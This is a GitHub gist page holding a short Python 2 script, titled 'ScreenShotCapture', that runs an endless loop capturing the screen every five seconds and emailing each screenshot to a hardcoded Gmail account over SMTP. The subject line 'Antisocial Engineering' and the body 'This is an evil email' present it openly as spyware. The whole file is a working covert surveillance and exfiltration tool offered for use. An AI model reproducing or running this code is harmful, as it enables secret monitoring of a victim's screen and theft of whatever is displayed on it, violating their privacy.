Skip to content

Instantly share code, notes, and snippets.

@Ierofantis
Last active May 22, 2023 09:09
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save Ierofantis/b313f4816d730e11d575 to your computer and use it in GitHub Desktop.
Save Ierofantis/b313f4816d730e11d575 to your computer and use it in GitHub Desktop.
ScreenShotCapture Python gist
#!/usr/bin/python
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
import os
import time
gmail_user =''
gmail_pwd =''
def mail(to, subject, text, attach):
import autopy
bitmap = autopy.bitmap.capture_screen()
bitmap.save('C:\screenshot.png')
msg = MIMEMultipart()
msg['From'] = gmail_user
msg['To'] = gmail_user
msg['Subject'] = subject
msg.attach(MIMEText(text))
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition',
'attachment; filename="%s"' % os.path.basename(attach))
msg.attach(part)
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user,gmail_user, msg.as_string())
# Should be mailServer.quit(), but that crashes...
mailServer.close()
def main():
while True:
mail("some.person@some.address.com",
"Antisocial Engineering",
"This is an evil email",
"C:\screenshot.png")
time.sleep(5)
if __name__=='__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment